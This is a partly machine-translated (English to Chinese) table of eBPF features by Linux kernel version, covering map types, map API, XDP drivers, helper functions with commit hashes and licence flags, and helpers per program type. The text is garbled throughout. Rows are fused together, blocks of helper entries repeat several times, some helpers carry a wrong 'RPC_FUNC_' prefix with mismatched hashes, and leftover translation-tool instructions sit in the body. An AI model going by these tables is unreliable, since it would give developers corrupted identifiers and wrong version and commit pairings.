| LPM trie (longest-prefix match) | 4.11 | b95a5c4db09b | BPF_MAP_TYPE_LPM_TRIE |
| Array of maps | 4.12 | 56f668dfe00d | BPF_MAP_TYPE_ARRAY_OF_MAPSHash of maps |
| Netdevice references (array) | 4.14 | 546ac1ffb70d | BPF_MAP_TYPE_DEVMAP |
| Socket references (array) | 4.14 | 174a79ff9515 | BPF_MAP_TYPE_SOCKMAP |
| CPU references | 4.15 | 6710e1126934 | BPF_MAP_TYPE_CPUMAP |
| AF_XDP socket (XSK) references | 4.18 | fbfc504a24f5 | BPF_MAP_TYPE_XSKMAP |
| Socket references (hashmap) | 4.18 | 81110384441a | BPF_MAP_TYPE_SOCKHASH |
| cgroup storage | 4.19 | de9cbbaadba5 | BPF_MAP_TYPE_CGROUP_STORAGE |
| reuseport sockarray | 4.19 | 5dc4c4b7d4e8 | BPF_MAP_TYPE_REUSEPORT_SOCKARRAY |
| precpu cgroup storage | 4.20 | b741f1630346 | BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE |
| queue | 4.20 | f1a2e44a3aec | BPF_MAP_TYPE_QUEUE |
| stack | 4.20 | f1a2e44a3aec | BPF_MAP_TYPE_STACK |
| socket local storage | 5.2 | 6ac99e8f23d4 | BPF_MAP_TYPE_SK_STORAGENetdevice references (hashmap) |
| struct ops | 5.6 | 85d33df357b6 | BPF_MAP_TYPE_STRUCT_OPS |
| ring buffer | 5.8 | 457f44363a88 | BPF_MAP_TYPE_RINGBUF |
| inode storage | 5.10 | 8ea636848aca | BPF_MAP_TYPE_INODE_STORAGE |
| task storage | 5.11 | 4cf1bc1f1045 | BPF_MAP_TYPE_TASK_STORAGE |
| Bloom filter | 5.16 | 9330986c0300 | BPF_MAP_TYPE_BLOOM_FILTER |
| user ringbuf | 6.1 | 583c1f420173 | BPF_MAP_TYPE_USER_RINGBUF |
Map userspace API
Some (but not all) of these API features translate to a subcommand beginning with BPF_MAP_.
The list of subcommands supported in your kernel can be found in file
include/uapi/linux/bpf.h:
git grep -W 'bpf_cmd {' include/uapi/linux/bpf.h
| Feature | Kernel version | Commit |
|---|---|---|
Basic operations (lookup, update, delete, GET_NEXT_KEY) | 3.18 | db20fd2b0108 |
Pass flags to UPDATE_ELEM | 3.19 | 3274f52073d8 |
| Pre-alloc map memory by default | 4.6 | 6c9059817432传递NULL给GET_NEXT_KEY |
| 创建: 选择NUMA节点 | 4.14 | 96eabe7a40aa |
| 限制从系统调用方面的访问 | 4.15 | 6e71b04a8224 |
| 创建: 指定映射名称 | 4.15 | ad5b177bd73f |
LOOKUP_AND_DELETE_ELEM | 4.20 | bd513cd08f10 |
创建: BPF_F_ZERO_SEED | 5.0 | 96b3b6c9091d |
查找/更新的BPF_F_LOCK标志 | 5.1 | 96049f3afd50 |
| 限制从BPF方面的访问 | 5.2 | 591fe9888d78 |
FREEZE | 5.2 | 87df15de441b |
| 数组映射的mmap()支持 | 5.5 | fc9702273e2e |
LOOKUP_BATCH | 5.6 | cb4d03ab499d |
UPDATE_BATCH, DELETE_BATCH | 5.6 | aa2e93b8e58e |
LOOKUP_AND_DELETE_BATCH | 5.6 | 057996380a42 |
LOOKUP_AND_DELETE_ELEM哈希映射的支持 | 5.14 | 3e87f192b405 |
XDP
您的内核支持XDP程序的驱动程序或组件的近似列表可以用以下命令检索: ```sh````git grep -l XDP_SETUP_PROG drivers/
| 功能/驱动 | 内核版本 | 提交 |
|---|---|---|
| XDP核心架构 | 4.8 | 6a773a15a1e8 |
| 操作:丢弃 | 4.8 | 6a773a15a1e8 |
| 操作:传递到堆栈 | 4.8 | 6a773a15a1e8 |
| 直接转发(同一端口) | 4.8 | 6ce96ca348a9 |
| 直接数据包数据写入 | 4.8 | 4acf6c0b84c9 |
Mellanox mlx4驱动 | 4.8 | 47a38e155037 |
Mellanox mlx5驱动 | 4.9 | 86994156c736 |
Netronome nfp驱动 | 4.10 | ecd63a0217d5 |
QLogic(Cavium)qed*驱动 | 4.10 | 496e05170958 |
virtio_net驱动 | 4.10 | f600b6905015 |
Broadcom bnxt_en驱动 | 4.11 | c6d30e8391b8 |
Intel ixgbe*驱动 | 4.12 | 924708081629 |
Cavium thunderx驱动 | 4.12 | 05c773f52b96 |
| 通用XDP | 4.12 | b5cdae3291f7` |
注意: 本次翻译仅包括翻译部分,不包括原始文本。## 帮助者
您的内核支持的辅助者列表可在文件中找到。
Intel i40e 驱动程序 | 4.13 | 0c8493d90b6b
操作:重定向 | 4.14 | 6453073987ba
支持 tap | 4.14 | 761876c857cb
支持 veth | 4.14 | d445516966dc
Intel ixgbevf 驱动程序 | 4.17 | c7aec59657b6
Freescale dpaa2 驱动程序 | 5.0 | 7e273a8ebdd3
Socionext netsec 驱动程序 | 5.3 | ba2b232108d3
TI cpsw 驱动程序 | 5.3 | 9ed4050c0d75
Intel ice 驱动程序 |5.5| efc2214b6047
Solarflare sfc 驱动程序 | 5.5 | eb9a36be7f3e
Marvell mvneta 驱动程序 | 5.5 | 0db51da7a8e9
Microsoft hv_netvsc 驱动程序 | 5.6 | 351e1581395f
Amazon ena 驱动程序 | 5.6 | 838c93dc5449
xen-netfront 驱动程序 | 5.9 | 6c5aa6fc4def
Intel gi 驱动程序 | 5.10 | 9cbc948b5a20include/uapi/linux/bpf.h: include/uapi/linux/bpf.h:
git grep ' FN(' include/uapi/linux/bpf.h
按字母顺序排列
| Helper | 内核版本 | 授权许可 | 提交记录 |
|---|---|---|---|
BPF_FUNC_bind() | 4.17 | d74bad4e74ee | |
BPF_FUNC_bprm_opts_set() | 5.11 | 3f6719c7b62f | |
BPF_FUNC_btf_find_by_name_kind() | 5.14 | 3d78417b60fb | |
BPF_FUNC_cgrp_storage_delete() | 6.2 | c4bcfb38a95e | |
BPF_FUNC_cgrp_storage_get() | 6.2 | c4bcfb38a95e | |
BPF_FUNC_check_mtu() | 5.12 | 34b2021cc616 | |
BPF_FUNC_clone_redirect() | 4.2 | 3896d655f4d4 | |
BPF_FUNC_copy_from_user() | 5.10 | 07be4c4a3e7a | |
BPF_FUNC_copy_from_user_task() | 5.18 | GPL | 376040e47334 |
BPF_FUNC_csum_diff() | 4.6 | 7d672345ed29 | |
BPF_FUNC_csum_level() | 5.7 | 7cdec54f9713 | |
BPF_FUNC_csum_update() | 4.9 | 36bbef52c7eb"BPF_FUNC_current_task_under_cgroup() | |
BPF_FUNC_d_path() | 5.10 | 6e22ab9da793 | |
BPF_FUNC_dynptr_data() | 5.19 | 34d4ef5775f7 | |
BPF_FUNC_dynptr_from_mem() | 5.19 | 263ae152e962 | |
BPF_FUNC_dynptr_read() | 5.19 | 13bbbfbea759 | |
BPF_FUNC_dynptr_write() | 5.19 | 13bbbfbea759 | |
BPF_FUNC_fib_lookup() | 4.18 | GPL | 87f5fc7e48dd |
BPF_FUNC_find_vma() | 5.17 | 7c7e3d31e785 | |
BPF_FUNC_for_each_map_elem() | 5.13 | 69c087ba6225 | |
BPF_FUNC_get_attach_cookie() | 5.15 | 7adfc6c9b315 | |
BPF_FUNC_get_branch_snapshot() | 5.16 | GPL | 856c02dbce4f |
BPF_FUNC_get_current_ancestor_cgroup_id() | 5.6 | b4490c5c4e02 | |
BPF_FUNC_get_cgroup_classid() | 4.3 | 8d20aabe1c76 | |
BPF_FUNC_get_current_cgroup_id() | 4.18 | bf6fa2c893c5 | |
BPF_FUNC_current_task_under_cgroup() | 4.9 | 60d20f9195b2 | |
BPF_FUNC_d_path() | 5.10 | 6e22ab9da793 | |
BPF_FUNC_dynptr_data() | 5.19 | 34d4ef5775f7 | |
BPF_FUNC_dynptr_from_mem() | 5.19 | 263ae152e962 | |
BPF_FUNC_dynptr_read() | 5.19 | 13bbbfbea759 | |
BPF_FUNC_dynptr_write() | 5.19 | 13bbbfbea759 | |
BPF_FUNC_fib_lookup() | 4.18 | GPL | 87f5fc7e48dd |
BPF_FUNC_find_vma() | 5.17 | 7c7e3d31e785 | |
BPF_FUNC_for_each_map_elem() | 5.13 | 69c087ba6225 | |
BPF_FUNC_get_attach_cookie() | 5.15 | 7adfc6c9b315 | |
BPF_FUNC_get_branch_snapshot() | 5.16 | GPL | 856c02dbce4f |
BPF_FUNC_get_current_ancestor_cgroup_id() | 5.6 | b4490c5c4e02 | |
BPF_FUNC_get_cgroup_classid() | 4.3 | 8d20aabe1c76 | |
BPF_FUNC_get_current_cgroup_id() | 4.18 | bf6fa2c893c5"."BPF_FUNC_get_current_comm() | |
BPF_FUNC_get_current_pid_tgid() | 4.2 | ffeedafbf023 | |
BPF_FUNC_get_current_task() | 4.8 | GPL | 606274c5abd8 |
BPF_FUNC_get_current_task_btf() | 5.11 | GPL | 3ca1032ab7ab |
BPF_FUNC_get_current_uid_gid() | 4.2 | ffeedafbf023 | |
BPF_FUNC_get_func_arg() | 5.17 | f92c1e183604 | |
BPF_FUNC_get_func_arg_cnt() | 5.17 | f92c1e183604 | |
BPF_FUNC_get_func_ip() | 5.15 | 5d8b583d04ae | |
BPF_FUNC_get_func_ret() | 5.17 | f92c1e183604 | |
BPF_FUNC_get_retval() | 5.18 | b44123b4a3dc | |
BPF_FUNC_get_hash_recalc() | 4.8 | 13c5c240f789 | |
BPF_FUNC_get_listener_sock() | 5.1 | dbafd7ddd623 | |
BPF_FUNC_get_local_storage() | 4.19 | cd3394317653 | |
BPF_FUNC_get_netns_cookie() | 5.7 | f318903c0bf4BPF_FUNC_get_ns_current_pid_tgid() | |
BPF_FUNC_get_numa_node_id() | 4.10 | 2d0e30c30f84 | |
BPF_FUNC_get_prandom_u32() | 4.1 | 03e69b508b6f | |
BPF_FUNC_get_route_realm() | 4.4 | c46646d0484f | |
BPF_FUNC_get_smp_processor_id() | 4.1 | c04167ce2ca0 | |
BPF_FUNC_get_socket_cookie() | 4.12 | 91b8270f2a4d | |
BPF_FUNC_get_socket_uid() | 4.12 | 6acc5c291068 | |
BPF_FUNC_get_stack() | 4.18 | GPL | de2ff05f48af |
BPF_FUNC_get_stackid() | 4.6 | GPL | d5a3b1f69186 |
BPF_FUNC_get_task_stack() | 5.9 | fa28dcb82a38 | |
BPF_FUNC_getsockopt() | 4.15 | cd86d1fd2102 | |
BPF_FUNC_ima_file_hash() | 5.18 | 174b16946e39 | |
BPF_FUNC_ima_inode_hash() | 5.11 | 27672f0d280a | |
BPF_FUNC_inode_storage_delete() | 5.10 | 8ea636848aca | |
| RPC_FUNC_get_ns_current_pid_tgid() | 5.7 | b4490c5c4e02 | |
| RPC_FUNC_get_numa_node_id() | 4.10 | 2d0e30c30f84 | |
| RPC_FUNC_get_prandom_u32() | 4.1 | 03e69b508b6f | |
| RPC_FUNC_get_route_realm() | 4.4 | c46646d0484f | |
| RPC_FUNC_get_smp_processor_id() | 4.1 | c04167ce2ca0 | |
| RPC_FUNC_get_socket_cookie() | 4.12 | 91b8270f2a4d | |
| RPC_FUNC_get_socket_uid() | 4.12 | 6acc5c291068 | |
| RPC_FUNC_get_stack() | 4.18 | GPL | de2ff05f48af |
| RPC_FUNC_get_stackid() | 4.6 | GPL | d5a3b1f69186 |
| RPC_FUNC_get_task_stack() | 5.9 | fa28dcb82a38 | |
| RPC_FUNC_getsockopt() | 4.15 | cd86d1fd2102 | |
| RPC_FUNC_ima_file_hash() | 5.18 | 174b16946e39 | |
| RPC_FUNC_ima_inode_hash() | 5.11 | 27672f0d280a | |
| RPC_FUNC_inode_storage_delete() | 5.10 | 8ea636848aca"."BPF_FUNC_inode_storage_get() | |
BPF_FUNC_jiffies64() | 5.5 | 5576b991e9c1 | |
BPF_FUNC_kallsyms_lookup_name() | 5.16 | d6aef08a872b | |
BPF_FUNC_kptr_xchg() | 5.19 | c0a5a21c25f3 | |
BPF_FUNC_ktime_get_boot_ns() | 5.8 | 71d19214776e | |
BPF_FUNC_ktime_get_coarse_ns() | 5.11 | d05512618056 | |
BPF_FUNC_ktime_get_ns() | 4.1 | d9847d310ab4 | |
BPF_FUNC_ktime_get_tai_ns() | 6.1 | c8996c98f703 | |
BPF_FUNC_l3_csum_replace() | 4.1 | 91bc4822c3d6 | |
BPF_FUNC_l4_csum_replace() | 4.1 | 91bc4822c3d6 | |
BPF_FUNC_load_hdr_opt() | 5.10 | 0813a841566f | |
BPF_FUNC_loop() | 5.17 | e6f2dd0f8067 | |
BPF_FUNC_lwt_push_encap() | 4.18 | fe94cc290f53 | |
BPF_FUNC_lwt_seg6_action() | 4.18 | fe94cc290f53`BPF_FUNC_lwt_seg6_adjust_srh()` | |
| `BPF_FUNC_lwt_seg6_store_bytes()` | 4.18 | fe94cc290f53 | |
| `BPF_FUNC_map_delete_elem()` | 3.19 | d0003ec01c66 | |
| `BPF_FUNC_map_lookup_elem()` | 3.19 | d0003ec01c66 | |
| `BPF_FUNC_map_lookup_percpu_elem()` | 5.19 | 07343110b293 | |
| `BPF_FUNC_map_peek_elem()` | 4.20 | f1a2e44a3aec | |
| `BPF_FUNC_map_pop_elem()` | 4.20 | f1a2e44a3aec | |
| `BPF_FUNC_map_push_elem()` | 4.20 | f1a2e44a3aec | |
| `BPF_FUNC_map_update_elem()` | 3.19 | d0003ec01c66 | |
| `BPF_FUNC_msg_apply_bytes()` | 4.17 | 2a100317c9eb | |
| `BPF_FUNC_msg_cork_bytes()` | 4.17 | 91843d540a13 | |
| `BPF_FUNC_msg_pop_data()` | 5.0 | 7246d8ed4dcc | |
| `BPF_FUNC_msg_pull_data()` | 4.17 | 015632bb30da | |
| `BPF_FUNC_msg_push_data()` | 4.20 | 6fff607e2f14".BPF_FUNC_msg_redirect_hash() | |
BPF_FUNC_msg_redirect_map() | 4.17 | 4f738adba30a | |
BPF_FUNC_per_cpu_ptr() | 5.10 | eaa6bcb71ef6 | |
BPF_FUNC_perf_event_output() | 4.4 | GPL | a43eec304259 |
BPF_FUNC_perf_event_read() | 4.3 | GPL | 35578d798400 |
BPF_FUNC_perf_event_read_value() | 4.15 | GPL | 908432ca84fc |
BPF_FUNC_perf_prog_read_value() | 4.15 | GPL | 4bebdc7a85aa |
BPF_FUNC_probe_read() | 4.1 | GPL | 2541517c32be |
BPF_FUNC_probe_read_kernel() | 5.5 | GPL | 6ae08ae3dea2 |
BPF_FUNC_probe_read_kernel_str() | 5.5 | GPL | 6ae08ae3dea2 |
BPF_FUNC_probe_read_user() | 5.5 | GPL | 6ae08ae3dea2 |
BPF_FUNC_probe_read_user_str() | 5.5 | GPL | 6ae08ae3dea2 |
BPF_FUNC_probe_read_str() | 4.11 | GPL | a5e8c07059d0 |
BPF_FUNC_probe_write_user() | 4.8 | GPL | 96ae52279594"BPF_FUNC_rc_keydown() |
BPF_FUNC_rc_pointer_rel() | 5.0 | GPL | 01d3240a04f4 |
BPF_FUNC_rc_repeat() | 4.18 | GPL | f4364dcfc86d |
BPF_FUNC_read_branch_records() | 5.6 | GPL | fff7b64355ea |
BPF_FUNC_redirect() | 4.4 | 27b29f63058d | |
BPF_FUNC_redirect_map() | 4.14 | 97f91a7cf04f | |
BPF_FUNC_redirect_neigh() | 5.10 | b4ab31414970 | |
BPF_FUNC_redirect_peer() | 5.10 | 9aa1206e8f48 | |
BPF_FUNC_reserve_hdr_opt() | 5.10 | 0813a841566f | |
BPF_FUNC_ringbuf_discard() | 5.8 | 457f44363a88 | |
BPF_FUNC_ringbuf_discard_dynptr() | 5.19 | bc34dee65a65 | |
BPF_FUNC_ringbuf_output() | 5.8 | 457f44363a88 | |
BPF_FUNC_ringbuf_query() | 5.8 | 457f44363a88 | |
BPF_FUNC_ringbuf_reserve() | 5.8 | 457f44363a88 | |
BPF_FUNC_ringbuf_reserve_dynptr() | 5.19 | bc34dee65a65 | |
BPF_FUNC_ringbuf_submit() | 5.8 | 457f44363a88 | |
BPF_FUNC_ringbuf_submit_dynptr() | 5.19 | bc34dee65a65 | |
BPF_FUNC_send_signal() | 5.3 | 8b401f9ed244 | |
BPF_FUNC_send_signal_thread() | 5.5 | 8482941f0906 | |
BPF_FUNC_seq_printf() | 5.7 | GPL | 492e639f0c22 |
BPF_FUNC_seq_printf_btf() | 5.10 | eb411377aed9 | |
BPF_FUNC_seq_write() | 5.7 | GPL | 492e639f0c22 |
BPF_FUNC_set_hash() | 4.13 | ded092cd73c2 | |
BPF_FUNC_set_hash_invalid() | 4.9 | 7a4b28c6cc9f | |
BPF_FUNC_set_retval() | 5.18 | b44123b4a3dc | |
BPF_FUNC_setsockopt() | 4.13 | 8c4b4c7e9ff0 | |
BPF_FUNC_sk_ancestor_cgroup_id() | 5.7 | f307fa2cb4c9 | |
BPF_FUNC_sk_assign() | 5.6 | cf7fbe660f2dBPF_FUNC_ringbuf_reserve_dynptr() | |
BPF_FUNC_ringbuf_submit() | 5.8 | 457f44363a88 | |
BPF_FUNC_ringbuf_submit_dynptr() | 5.19 | bc34dee65a65 | |
BPF_FUNC_send_signal() | 5.3 | 8b401f9ed244 | |
BPF_FUNC_send_signal_thread() | 5.5 | 8482941f0906 | |
BPF_FUNC_seq_printf() | 5.7 | GPL | 492e639f0c22 |
BPF_FUNC_seq_printf_btf() | 5.10 | eb411377aed9 | |
BPF_FUNC_seq_write() | 5.7 | GPL | 492e639f0c22 |
BPF_FUNC_set_hash() | 4.13 | ded092cd73c2 | |
BPF_FUNC_set_hash_invalid() | 4.9 | 7a4b28c6cc9f | |
BPF_FUNC_set_retval() | 5.18 | b44123b4a3dc | |
BPF_FUNC_setsockopt() | 4.13 | 8c4b4c7e9ff0 | |
BPF_FUNC_sk_ancestor_cgroup_id() | 5.7 | f307fa2cb4c9 | |
BPF_FUNC_sk_assign() | 5.6 | cf7fbe660f2d | |
BPF_FUNC_ringbuf_reserve_dynptr() | 5.19 | bc34dee65a65 | |
BPF_FUNC_ringbuf_submit() | 5.8 | 457f44363a88 | |
BPF_FUNC_ringbuf_submit_dynptr() | 5.19 | bc34dee65a65 | |
BPF_FUNC_send_signal() | 5.3 | 8b401f9ed244 | |
BPF_FUNC_send_signal_thread() | 5.5 | 8482941f0906 | |
BPF_FUNC_seq_printf() | 5.7 | GPL | 492e639f0c22 |
BPF_FUNC_seq_printf_btf() | 5.10 | eb411377aed9 | |
BPF_FUNC_seq_write() | 5.7 | GPL | 492e639f0c22 |
BPF_FUNC_set_hash() | 4.13 | ded092cd73c2 | |
BPF_FUNC_set_hash_invalid() | 4.9 | 7a4b28c6cc9f | |
BPF_FUNC_set_retval() | 5.18 | b44123b4a3dc | |
BPF_FUNC_setsockopt() | 4.13 | 8c4b4c7e9ff0 | |
BPF_FUNC_sk_ancestor_cgroup_id() | 5.7 | f307fa2cb4c9 | |
BPF_FUNC_sk_assign() | 5.6 | cf7fbe660f2d"."BPF_FUNC_sk_cgroup_id() | |
BPF_FUNC_sk_fullsock() | 5.1 | 46f8bc92758c | |
BPF_FUNC_sk_lookup_tcp() | 4.20 | 6acc9b432e67 | |
BPF_FUNC_sk_lookup_udp() | 4.20 | 6acc9b432e67 | |
BPF_FUNC_sk_redirect_hash() | 4.18 | 81110384441a | |
BPF_FUNC_sk_redirect_map() | 4.14 | 174a79ff9515 | |
BPF_FUNC_sk_release() | 4.20 | 6acc9b432e67 | |
BPF_FUNC_sk_select_reuseport() | 4.19 | 2dbb9b9e6df6 | |
BPF_FUNC_sk_storage_delete() | 5.2 | 6ac99e8f23d4 | |
BPF_FUNC_sk_storage_get() | 5.2 | 6ac99e8f23d4 | |
BPF_FUNC_skb_adjust_room() | 4.13 | 2be7e212d541 | |
BPF_FUNC_skb_ancestor_cgroup_id() | 4.19 | 7723628101aa | |
BPF_FUNC_skb_change_head() | 4.10 | 3a0af8fd61f9 | |
BPF_FUNC_skb_change_proto() | 4.8 | 6578171a7ff0 | |
BPF_FUNC_sk_cgroup_id() | 5.7 | f307fa2cb4c9 | |
BPF_FUNC_sk_fullsock() | 5.1 | 46f8bc92758c | |
BPF_FUNC_sk_lookup_tcp() | 4.20 | 6acc9b432e67 | |
BPF_FUNC_sk_lookup_udp() | 4.20 | 6acc9b432e67 | |
BPF_FUNC_sk_redirect_hash() | 4.18 | 81110384441a | |
BPF_FUNC_sk_redirect_map() | 4.14 | 174a79ff9515 | |
BPF_FUNC_sk_release() | 4.20 | 6acc9b432e67 | |
BPF_FUNC_sk_select_reuseport() | 4.19 | 2dbb9b9e6df6 | |
BPF_FUNC_sk_storage_delete() | 5.2 | 6ac99e8f23d4 | |
BPF_FUNC_sk_storage_get() | 5.2 | 6ac99e8f23d4 | |
BPF_FUNC_skb_adjust_room() | 4.13 | 2be7e212d541 | |
BPF_FUNC_skb_ancestor_cgroup_id() | 4.19 | 7723628101aa | |
BPF_FUNC_skb_change_head() | 4.10 | 3a0af8fd61f9 | |
BPF_FUNC_skb_change_proto() | 4.8 | 6578171a7ff0。"BPF_FUNC_skb_change_tail()` | |
BPF_FUNC_skb_change_type() | 4.8 | d2485c4242a8 | |
BPF_FUNC_skb_cgroup_classid() | 5.10 | b426ce83baa7 | |
BPF_FUNC_skb_cgroup_id() | 4.18 | cb20b08ead40 | |
BPF_FUNC_skb_ecn_set_ce() | 5.1 | f7c917ba11a6 | |
BPF_FUNC_skb_get_tunnel_key() | 4.3 | d3aa45ce6b94 | |
BPF_FUNC_skb_get_tunnel_opt() | 4.6 | 14ca0751c96f | |
BPF_FUNC_skb_get_xfrm_state() | 4.18 | 12bed760a78d | |
BPF_FUNC_skb_load_bytes() | 4.5 | 05c74e5e53f6 | |
BPF_FUNC_skb_load_bytes_relative() | 4.18 | 4e1ec56cdc59 | |
BPF_FUNC_skb_output() | 5.5 | a7658e1a4164 | |
BPF_FUNC_skb_pull_data() | 4.9 | 36bbef52c7eb | |
BPF_FUNC_skb_set_tstamp() | 5.18 | 9bb984f28d5b | |
BPF_FUNC_skb_set_tunnel_key() | 4.3 | d3aa45ce6b94 | |
BPF_FUNC_skb_set_tunnel_opt() | 4.6 | 14ca0751c96f | |
BPF_FUNC_skb_store_bytes() | 4.1 | 91bc4822c3d6 | |
BPF_FUNC_skb_under_cgroup() | 4.8 | 4a482f34afcc | |
BPF_FUNC_skb_vlan_pop() | 4.3 | 4e10df9a60d9 | |
BPF_FUNC_skb_vlan_push() | 4.3 | 4e10df9a60d9 | |
BPF_FUNC_skc_lookup_tcp() | 5.2 | edbf8c01de5a | |
BPF_FUNC_skc_to_mctcp_sock() | 5.19 | 3bc253c2e652 | |
BPF_FUNC_skc_to_tcp_sock() | 5.9 | 478cfbdf5f13 | |
BPF_FUNC_skc_to_tcp_request_sock() | 5.9 | 478cfbdf5f13 | |
BPF_FUNC_skc_to_tcp_timewait_sock() | 5.9 | 478cfbdf5f13 | |
BPF_FUNC_skc_to_tcp6_sock() | 5.9 | af7ec1383361 | |
BPF_FUNC_skc_to_udp6_sock() | 5.9 | 0d4fad3e57df | |
BPF_FUNC_skc_to_unix_sock() | 5.16 | 9eeb3aa33ae0 | |
BPF_FUNC_snprintf() | 5.13 | 7b15523a989b"."BPF_FUNC_snprintf_btf() | |
BPF_FUNC_sock_from_file() | 5.11 | 4f19cab76136 | |
BPF_FUNC_sock_hash_update() | 4.18 | 81110384441a | |
BPF_FUNC_sock_map_update() | 4.14 | 174a79ff9515 | |
BPF_FUNC_spin_lock() | 5.1 | d83525ca62cf | |
BPF_FUNC_spin_unlock() | 5.1 | d83525ca62cf | |
BPF_FUNC_store_hdr_opt() | 5.10 | 0813a841566f | |
BPF_FUNC_strncmp() | 5.17 | c5fb19937455 | |
BPF_FUNC_strtol() | 5.2 | d7a4cb9b6705 | |
BPF_FUNC_strtoul() | 5.2 | d7a4cb9b6705 | |
BPF_FUNC_sys_bpf() | 5.14 | 79a7f8bdb159 | |
BPF_FUNC_sys_close() | 5.14 | 3abea089246f | |
BPF_FUNC_sysctl_get_current_value() | 5.2 | 1d11b3016cec | |
BPF_FUNC_sysctl_get_name() | 5.2 | 808649fb787d". | |
格式:只返回翻译后的内容,不包括原文。BPF_FUNC_sysctl_get_new_value()| 5.2| | 4e63acdff864 | |||
BPF_FUNC_sysctl_set_new_value()|5.2| | 4e63acdff864 | |||
BPF_FUNC_tail_call()|4.2| | 04fd61ab36ec | |||
BPF_FUNC_task_pt_regs()|5.15| GPL | dd6e10fbd9f | |||
BPF_FUNC_task_storage_delete()|5.11| | 4cf1bc1f1045 | |||
BPF_FUNC_task_storage_get()|5.11| | 4cf1bc1f1045 | |||
BPF_FUNC_tcp_check_syncookie()|5.2| | 399040847084 | |||
BPF_FUNC_tcp_gen_syncookie()|5.3| | 70d66244317e | |||
BPF_FUNC_tcp_raw_check_syncookie_ipv4()|6.0| | 33bf9885040c | |||
BPF_FUNC_tcp_raw_check_syncookie_ipv6()|6.0| | 33bf9885040c | |||
BPF_FUNC_tcp_raw_gen_syncookie_ipv4()|6.0| | 33bf9885040c | |||
BPF_FUNC_tcp_raw_gen_syncookie_ipv6()|6.0| | 33bf9885040c | |||
BPF_FUNC_tcp_send_ack()|5.5 | | 206057fe020aBPF_FUNC_tcp_sock() | 5.1 | 655a51e536c0 | |
BPF_FUNC_this_cpu_ptr() | 5.10 | 63d9b80dcf2c | |
BPF_FUNC_timer_init() | 5.15 | b00628b1c7d5 | |
BPF_FUNC_timer_set_callback() | 5.15 | b00628b1c7d5 | |
BPF_FUNC_timer_start() | 5.15 | b00628b1c7d5 | |
BPF_FUNC_timer_cancel() | 5.15 | b00628b1c7d5 | |
BPF_FUNC_trace_printk() | 4.1 | GPL | 9c959c863f82 |
BPF_FUNC_trace_vprintk() | 5.16 | GPL | 10aceb629e19 |
BPF_FUNC_user_ringbuf_drain() | 6.1 | 205715673844 | |
BPF_FUNC_xdp_adjust_head() | 4.10 | 17bedab27231 | |
BPF_FUNC_xdp_adjust_meta() | 4.15 | de8f3a83b0a0 | |
BPF_FUNC_xdp_adjust_tail() | 4.18 | b32cc5b9a346 | |
BPF_FUNC_xdp_get_buff_len() | 5.18 | 0165cc817075 | |
BPF_FUNC_xdp_load_bytes() | 5.18 | 3f364222d032 | |
BPF_FUNC_xdp_store_bytes() | 5.18 | 3f364222d032 | |
BPF_FUNC_xdp_output() | 5.6 | GPL | d831ee84bfc9 |
BPF_FUNC_override_return() | 4.16 | GPL | 9802d86585db |
BPF_FUNC_sock_ops_cb_flags_set() | 4.16 | b13d88072172 |
注:仅GPL兼容的BPF助手需要GPL兼容的许可证。内核所认可的当前GPL兼容许可证有:
- GPL
- GPL v2
- GPL和其他权利
- 双BSD/GPL
- 双MIT/GPL
- 双MPL/GPL
在您的内核源代码中查看GPL兼容许可证的列表。
程序类型
可以使用以下命令获取程序类型和支持的辅助函数列表:
git grep -W 'func_proto(enum bpf_func_id func_id' kernel/ net/ drivers/
| 程序类型 | 辅助函数 |
|---|---|
BPF_PROG_TYPE_SOCKET_FILTER | BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_load_bytes_relative() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() BPF_FUNC_perf_event_output() 基础函数 |
BPF_PROG_TYPE_KPROBE | BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_perf_event_read_value() BPF_FUNC_override_return() 跟踪函数 |
BPF_PROG_TYPE_TRACEPOINT | BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_d_path() 跟踪函数 |
BPF_PROG_TYPE_XDP | BPF_FUNC_perf_event_output() BPF_FUNC_get_smp_processor_id() BPF_FUNC_csum_diff() BPF_FUNC_xdp_adjust_head() BPF_FUNC_xdp_adjust_meta() BPF_FUNC_redirect() BPF_FUNC_redirect_map() BPF_FUNC_xdp_adjust_tail() BPF_FUNC_fib_lookup() 基础函数 |
BPF_PROG_TYPE_PERF_EVENT | BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_perf_prog_read_value() 跟踪函数 |
BPF_PROG_TYPE_CGROUP_SOCK | |BPF_FUNC_get_current_uid_gid() 基本功能 |
BPF_PROG_TYPE_LWT_IN | |BPF_FUNC_lwt_push_encap() LWT功能 基本功能 |
BPF_PROG_TYPE_LWT_OUT | LWT功能 基本功能 |
BPF_PROG_TYPE_LWT_XMIT | |BPF_FUNC_skb_get_tunnel_key() BPF_FUNC_skb_set_tunnel_key() BPF_FUNC_skb_get_tunnel_opt() BPF_FUNC_skb_set_tunnel_opt() BPF_FUNC_redirect() BPF_FUNC_clone_redirect() BPF_FUNC_skb_change_tail() BPF_FUNC_skb_change_head() BPF_FUNC_skb_store_bytes() BPF_FUNC_csum_update() BPF_FUNC_l3_csum_replace() BPF_FUNC_l4_csum_replace() BPF_FUNC_set_hash_invalid() LWT功能 |
BPF_PROG_TYPE_SOCK_OPS | |BPF_FUNC_setsockopt() BPF_FUNC_getsockopt() BPF_FUNC_sock_ops_cb_flags_set() BPF_FUNC_sock_map_update() BPF_FUNC_sock_hash_update() BPF_FUNC_get_socket_cookie() 基本功能 |
BPF_PROG_TYPE_SK_SKB | |BPF_FUNC_skb_store_bytes() BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_pull_data() BPF_FUNC_skb_change_tail() BPF_FUNC_skb_change_head() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() BPF_FUNC_sk_redirect_map() BPF_FUNC_sk_redirect_hash() BPF_FUNC_sk_lookup_tcp() BPF_FUNC_sk_lookup_udp() BPF_FUNC_sk_release() 基本功能 |
BPF_PROG_TYPE_CGROUP_DEVICE | |BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_get_current_uid_gid() BPF_FUNC_trace_printk() |
